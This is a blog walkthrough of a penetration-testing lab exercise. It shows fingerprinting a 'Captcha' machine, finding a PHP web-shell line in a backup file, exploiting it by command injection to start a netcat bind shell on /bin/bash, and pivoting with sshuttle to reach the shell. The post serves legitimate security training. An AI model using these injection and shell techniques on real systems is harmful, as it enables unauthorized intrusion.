In my previous post “Pentestit Lab v10 - Blog Token (6/13)”, we further utilized the gw machine to pivot into the internal network and access the Blog via an SSH Tunnel, exploited Joomal with an Account Creation/Privilege Escalation exploit, and found our sixth token. Today we will be pivoting further into the network and attacking the Captcha Machine - which will include the following:
- Fingerprinting and Accessing the Captcha Machine
- Exploiting a Command Injection Vulnerability
- Establishing a VPN Tunnel via SSH to the Internal Network
- Finding the Captcha Token
As always - review the network map if you are lost or confused on where the Captcha Machine is located.
Fingerprinting and Accessing the Captcha Machine:
As mentioned in my previous post - since we compromised the gw machine and it already had Nmap installed, you should have fingerprinted the other machines on the network in advance to get a better idea on what you might need to exploit.
Though, if you haven’t already scanned the Captcha Machine at 192.168.0.7, then go ahead and do so. Your results should be closely similar to mines.
Nmap scan report for 192.168.0.7 Host is up (0.0037s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u6 (protocol 2.0) 80/tcp open http nginx 1.2.1 Service Info: OS: Linux; CPE: cpe:/o:linux:kernel Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 24.45 seconds
Alright, so it seems that this machine is also running Nginx on TCP/80 and once again we can assume that there is a website running locally.
And just like before, let’s establish an SSH tunnel to 192.168.0.7 on port 8080 via 192.168.101.9 on port 80. Then we can configure our proxy to run on port 8080 on our localhost - which will give us access to the website.
Once that’s set up and ready to go - we can then access the website.
Initial reviews of the page show us two things - a captcha with a broken image, and a text input box.
Since there really isn’t anything else that we can navigate to, let’s check the HTML Source code for any clues.
<img src="/sources/0a5ed93350dbf3915157abb698d9bfb3426529ada1528a5a0158f0081df4226f88da999df793e9ab15004cb79f2dd833320cdd2ee3e6e05f9e7b6b91f8d1b8b4622d3e9fb9b8cef72c76664bc5631af6eb54cb138ab8251190dd9badac178e1c8f02a6/captcha.png" width=69 height=30 title="captcha" /> <br> <input type="text" size=7">
A quick look shows us that the image tag has a source link. Let’s follow that and see where it takes us!
Well that’s rather unfortunate… should have known that a broken image link might lead to this.
Ah well, we still have other options that we can utilize to find a vulnerability.
Let’s see if the website doesn’t have a robots.txt file.
We can find this out by going to the following url:
Sure enough, we end up on the Robots.txt page with the following information.
User-agent: * Disallow: *.bak
The Disallow is rather interesting as it includes *.bak, meaning that anything with the bak extension isn’t indexed by spiders.
Well, we know that the image source is broken, and that bak is a backup copy… let’s try navigating to the following link to see if there isn’t a backup of the stored image.
Navigating to the page gives us the option to download a file called captcha.bak.
Exploiting a Command Injection Vulnerability:
Since we are now able to download the backup of the captcha, let’s go ahead and download that file, and see what it contains.
root@kali:~/gds# file captcha.bak captcha.bak: ASCII text root@kali:~/gds# cat captcha.bak file_put_contents($session_path. /captcha, serialize($_SESSION)); file_put_contents($session_path. /($_SESSION).php, ?php system($_GET[session]); ?
Quickly I realize that the Captcha is utilizing the PHP GET parameter which is vulnerable to Command Injection!
So, let’s attempt a command injection by trying to inject the ls command to list the files on the Captcha Machine.
We can do so by entering the following at the end of the url:
Now mind you, that since we are injecting this via URL it’s good practice to URL Encode some of the characters to prevent any issues during decoding/transfer of data to the server.
So the command we will issue - when URL Encoded - will be:
Thus our URL will look like the following:
Running the ls command via the session’s parameter returns the file listing of the current present working directory - which means that the command injection vulnerability is viable.
Since we know that we can exploit this vulnerability, let’s use netcat to open up a tcp listener.
($_SESSION).php?session=nc -vlp 1234 -e /bin/bash
When the command inject is successful, you should see the website say Connecting… which means that our tpc listener is waiting for incoming connections.
Establishing a VPN Tunnel via SSH to the Internal Network:
Alright, now that we have our tcp listener running on the Captcha machine, let’s attempt a connection to it!
root@kali:~/gds# nc -v 192.168.0.7 1234 192.168.0.7: inverse host lookup failed: Unknown host
Unfortunately our connection to the Captcha machine failed. The reason being is that from our localhost, we have no way of accessing the internal network.
Although it’s true that we have a running SSH Tunnel, you have to remember that this tunnel is set up specifically for us to access the website via proxy from our browser.
What we need to do is to find a way of establishing a VPN connection to the internal network that will allow our localhost to communicate via that VPN - giving us unrestricted access to the internal network.
After a quick Google search I stumbled across SSHuttle which is a VPN that can be forwarded over SSH - just what we need!
Download and install SSHhuttle. Once you have done so, let’s run the following command to establish a VPN Connection to the 192.168.0.0/24 internal network via our SSH access to the compromised gw machine on 192.168.101.9.
root@kali:~# sshuttle -r firstname.lastname@example.org 192.168.0.0/24 email@example.com's password: client: Connected.
Finding the Captcha Token:
Awesome - now that we have access to the internal network via our VPN, let’s attempt our netcat connection again.
root@kali:~# nc -v 192.168.0.7 1234 192.168.0.7: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.0.7] 1234 (?) open
And just like that we have backdoor access to the Captcha Machine!
From here we can traverse the directories and see if there isn’t anything interesting!
ls ($_SESSION).php captcha captcha.bak cd .. ls 532d3b0588c1b683a1f251e5d8b223630a2b928eb44fae7e4ca19c460f4694d8033d40f58e1c6e898ee1adc6496f5640eca4181625929e1958135d3e7d938dddb4894cee50a2fc85284a9d80f333d3252172ead6ce163df3490197d23e576cfa830ae4 cd .. ls index.php readme.txt robots.txt sources cd .. ls token.token www
After traversing a few directories, we spot the Captcha Token!
cat token.token ********
Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!
You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the Captcha via Command Injection to get the token!
You learn by doing, so go through this walkthrough, and the lab - and learn something new!
That’s all for now, stay tuned for my next post as we compromise Token (8/13) - The News Token!